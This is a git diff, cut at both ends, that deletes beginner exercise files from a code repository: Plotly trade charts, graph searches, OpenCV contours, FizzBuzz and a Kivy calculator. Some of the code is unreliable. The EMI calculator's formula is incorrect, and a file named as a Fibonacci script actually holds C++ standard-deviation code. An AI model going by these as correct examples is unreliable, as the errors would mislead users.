{ - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[0]]['Year(start)'], y=df[df['Country']==country.index[0]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT By India to Other Countries')\n", - "for i in range(0,250):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[0]]['Year(start)'], y=df[df['Country']==country.index[0]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT to India from Other Countries')\n", - "for i in range(0,250):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[0]]['Year(start)'], y=df[df['Country']==country.index[0]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(0,250):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "0fd9e98a-fcad-4b0c-9d57-657c954f81a9", - "metadata": {}, - "outputs": [], - "source": [] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3 (ipykernel)", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.9.7" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/PYTHON/Deth First Search(Weighted Graph).py b/Add Code Here/PYTHON/Deth First Search(Weighted Graph).py deleted file mode 100644 index d0ad5b3a14a..00000000000 --- a/Add Code Here/PYTHON/Deth First Search(Weighted Graph).py +++ /dev/null @@ -1,31 +0,0 @@ -# Using a Python dictionary to act as an adjacency list -graph = { - 'A' : [[8,'B'],[5,'E']], - 'B' : [[2,'D'],[1,'C']], - 'E' : [[1,'G']], - 'G' : [], - 'C' : [[3,'F']], - 'F' : [[4,'G']], - 'D' : [[3,'E']] - -} -print("The Path Is = ",end = " ") -found=0 -visited = set() -def dfs(visited, graph, node,goal): - global found - if found==1: - return - elif node not in visited: - print(node,end=" ") - if node ==goal: - print ("\n***Goal Found***") - found=1 - return - visited.add(node) - templist=graph[node] - templist.sort() - for neighbour in templist: - if len(neighbour)>0: - dfs(visited, graph,neighbour[1],'G') -dfs(visited, graph, 'A','G') \ No newline at end of file diff --git a/Add Code Here/PYTHON/EMI Calculator.py b/Add Code Here/PYTHON/EMI Calculator.py deleted file mode 100644 index ef74f49d3c6..00000000000 --- a/Add Code Here/PYTHON/EMI Calculator.py +++ /dev/null @@ -1,6 +0,0 @@ -#emi -a=int(input('enter principal amount=')) -b=int(input('enter rate of interest=')) -c=int(input('enter number of years=')) -d=((a*b/12)*(1+b/12)**c)/((1+b/12)**c)-1 -print('EMI=',d) diff --git a/Add Code Here/PYTHON/Edge_detection.py b/Add Code Here/PYTHON/Edge_detection.py deleted file mode 100644 index 036f6a2b270..00000000000 --- a/Add Code Here/PYTHON/Edge_detection.py +++ /dev/null @@ -1,113 +0,0 @@ -import cv2 - -import numpy as np - -def draw_contours(img, cnts): - - img = np.copy(img) - - img = cv2.drawContours(img, cnts, -1, (0, 255, 0), 2) - - return img - -def draw_min_rect_circle(img, cnts): - - img = np.copy(img) - - for cnt in cnts: - - x, y, w, h = cv2.boundingRect(cnt) - - cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2) - - min_rect = cv2.minAreaRect(cnt) - - min_rect = np.int0(cv2.boxPoints(min_rect)) - - cv2.drawContours(img, [min_rect], 0, (0, 255, 0), 2) - - (x, y), radius = cv2.minEnclosingCircle(cnt) - - center, radius = (int(x), int(y)), int(radius) - - img = cv2.circle(img, center, radius, (0, 0, 255), 2) - - return img - -def draw_approx_hull_polygon(img, cnts): - - - - img = np.zeros(img.shape, dtype=np.uint8) - - cv2.drawContours(img, cnts, -1, (255, 0, 0), 2) - - min_side_len = img.shape[0] / 32 - - min_poly_len = img.shape[0] / 16 - - min_side_num = 3 - - approxs = [cv2.approxPolyDP(cnt, min_side_len, True) for cnt in cnts] - - approxs = [approx for approx in approxs if cv2.arcLength(approx, True) > min_poly_len] - - approxs = [approx for approx in approxs if len(approx) > min_side_num] - - - - cv2.polylines(img, approxs, True, (0, 255, 0), 2) - - hulls = [cv2.convexHull(cnt) for cnt in cnts] - - cv2.polylines(img, hulls, True, (0, 0, 255), 2) - - return img - -def run(): - - image = cv2.imread('Demo/test_edge_detection.jpg') - - thresh = cv2.Canny(image, 128, 256) - - thresh, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) - - """ - - [[[-1 -1 -1 -1]]] :hierarchy # cv2.Canny() - - - - [[[ 1 -1 -1 -1] - - [ 2 0 -1 -1] - - [ 3 1 -1 -1] - - [-1 2 -1 -1]]] :hierarchy # cv2.threshold() - - """ - - imgs = [ - - image, thresh, - - draw_min_rect_circle(image, contours), - - draw_approx_hull_polygon(image, contours), - - ] - - for img in imgs: - - - - cv2.imshow("contours", img) - - cv2.waitKey(1943) - -if __name__ == '__main__': - - run() - -pass diff --git a/Add Code Here/PYTHON/Factorial.py b/Add Code Here/PYTHON/Factorial.py deleted file mode 100644 index 370d5959da0..00000000000 --- a/Add Code Here/PYTHON/Factorial.py +++ /dev/null @@ -1,7 +0,0 @@ -def factorial(n): - return 1 if (n==1 or n==0) else n * factorial(n - 1); - -number = int(input("Enter a number: ")) -print("Factorial of " + str(number) + " is", -factorial(number)) -# Ordinary-Droid diff --git a/Add Code Here/PYTHON/Fibonacci_Sequence.py b/Add Code Here/PYTHON/Fibonacci_Sequence.py deleted file mode 100644 index bc8f2c588e7..00000000000 --- a/Add Code Here/PYTHON/Fibonacci_Sequence.py +++ /dev/null @@ -1,36 +0,0 @@ -#include -#include -using namespace std; - -float calculateSD(float data[]); - -int main() { - int i; - float data[10]; - - cout << "Enter 10 elements: "; - for(i = 0; i < 10; ++i) { - cin >> data[i]; - } - - cout << endl << "Standard Deviation = " << calculateSD(data); - - return 0; -} - -float calculateSD(float data[]) { - float sum = 0.0, mean, standardDeviation = 0.0; - int i; - - for(i = 0; i < 10; ++i) { - sum += data[i]; - } - - mean = sum / 10; - - for(i = 0; i < 10; ++i) { - standardDeviation += pow(data[i] - mean, 2); - } - - return sqrt(standardDeviation / 10); -} diff --git a/Add Code Here/PYTHON/Find the Runner up Score.py b/Add Code Here/PYTHON/Find the Runner up Score.py deleted file mode 100644 index a2b85d3afbb..00000000000 --- a/Add Code Here/PYTHON/Find the Runner up Score.py +++ /dev/null @@ -1,21 +0,0 @@ -Largest = arr[n-1] -secondlargest = min(arr) -for i in range(0,n): - if arr[i]>Largest: - Largest = arr[i] -for x in range(0,n): - if arr[x]>secondlargest and arr[x]!=Largest: - secondlargest=arr[x] -print(secondlargest) - -# Need to find runner-up score -# --> Must find the winner score first -# --> Compare all scores with winner score to find runner-up score -# Note - No input commands added since console already has input commands - -# For eg, 5=n, arr = [1,-1,-2,1,-3] -# --> Currently, largest = arr[n-1] = arr[4] = -3 -# --> Currently, secondlargest = min(arr) = -3 -# --> 'for' loop initiated, largest calculated as '1' -# --> second 'for' loop initiated, since -1 > -3 and -1 != 1, therefore, secondlargest = -1 -# --> print(secondlargest) --> print(-1) --> -1 \ No newline at end of file diff --git a/Add Code Here/PYTHON/FizzBuzz.py b/Add Code Here/PYTHON/FizzBuzz.py deleted file mode 100644 index 3ef8bc605d5..00000000000 --- a/Add Code Here/PYTHON/FizzBuzz.py +++ /dev/null @@ -1,19 +0,0 @@ -''' -@Coded by TSG -Problem: -FizzBuzz is a well known programming assignment, asked during interviews. -The given code solves the FizzBuzz problem and uses the words "Solo" and "Learn" instead of "Fizz" and "Buzz". -It takes an input n and outputs the numbers from 1 to n. -For each multiple of 3, print "Solo" instead of the number. -For each multiple of 5, prints "Learn" instead of the number. -For numbers which are multiples of both 3 and 5, output "SoloLearn". -You need to change the code to skip the even numbers, so that the logic only applies to odd numbers in the range. -''' - -# Code goes here -for x in range(1, int(input())): - if x % 2 == 0: continue - if x % 3 == 0 and x % 5 == 0: print("SoloLearn") - elif x % 3 == 0: print("Solo") - elif x % 5 == 0: print("Learn") - else: print(x) diff --git a/Add Code Here/PYTHON/GUI_Calculator.py b/Add Code Here/PYTHON/GUI_Calculator.py deleted file mode 100644 index 242907ad670..00000000000 --- a/Add Code Here/PYTHON/GUI_Calculator.py +++ /dev/null @@ -1,70 +0,0 @@ -from kivy.app import App -from kivy.uix.boxlayout import BoxLayout -from kivy.uix.button import Button -from kivy.uix.textinput import TextInput - -class MainApp(App): - def build(self): - self.operators = ["/","*","+","-","%"] - self.title="Arithmetic Calculator" - self.last_was_operator = None - self.last_button=None - self.icon="Calculator.png" - - main_layout=BoxLayout(orientation="vertical") - self.solution=TextInput(background_color="black",foreground_color="white",multiline=True,halign="right",font_size=50,readonly=True,height=55) - - main_layout.add_widget(self.solution) - buttons=[ - ["7","8","9","/"], - ["4","5","6","*"], - ["1","2","3","+"], - [".","0","C","-"], - ["%"], - ] - - for row in buttons: - h_layout=BoxLayout() - for label in row: - button=Button( - text=label,font_size=30,background_color="grey", - pos_hint={"center_x":0.5,"center_y":0.5}, - ) - button.bind(on_press=self.on_button_press) - h_layout.add_widget(button) - main_layout.add_widget(h_layout) - - equal_button=Button( - text="=",font_size=30,background_color="grey", - pos_hint={"center_x":0.5,"center_y":0.5}, - ) - equal_button.bind(on_press=self.on_solution) - main_layout.add_widget(equal_button) - - return main_layout - - def on_button_press(self,instance): - current = self.solution.text - button_text = instance.text - - if button_text=="C": - self.solution.text="" - else: - if current and (self.last_was_operator and button_text in self.operators): - return - elif current=="" and button_text in self.operators: - return - else: - new_text=current+button_text - self.solution.text=new_text - self.last_button=button_text - self.last_was_operator=self.last_button in self.operators - - def on_solution(self,instance): - text=self.solution.text - if text: - solution=str(eval(self.solution.text)) - self.solution.text=solution - -if __name__ == "__main__": - MainApp().run() diff --git a/Add Code Here/PYTHON/Graph_BFS.py b/Add Code Here/PYTHON/Graph_BFS.py deleted file mode 100644 index d5e6d317c0a..00000000000 --- a/Add Code Here/PYTHON/Graph_BFS.py +++ /dev/null @@ -1,12 +0,0 @@ -def BFS(self, s): - visited = [False] * (max(self.graph) + 1) - queue = [] - queue.append(s) - visited[s] = True - while queue: - s = queue.pop(0) - print (s, end = "->") - for i in self.graph[s]: - if visited[i] == False: - queue.append(i) - visited[i] = True diff --git a/Add Code Here/PYTHON/Histogram Equalization/Lab 4.html b/Add Code Here/PYTHON/Histogram Equalization/Lab 4.html deleted file mode 100644 index 509ee0bfb2c..00000000000 --- a/Add Code Here/PYTHON/Histogram Equalization/Lab 4.html +++ /dev/null @@ -1,14893 +0,0 @@ - - - - - -Lab 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/Add Code Here/PYTHON/Histogram Equalization/Lab 4.ipynb b/Add Code Here/PYTHON/Histogram Equalization/Lab 4.ipynb deleted file mode 100644 index ad46df75591..00000000000 --- a/Add Code Here/PYTHON/Histogram Equalization/Lab 4.ipynb +++ /dev/null @@ -1,230 +0,0 @@ -{ - "cells": [ - { - "cell_type": "code", - "execution_count": 8, - "id": "89f538bb", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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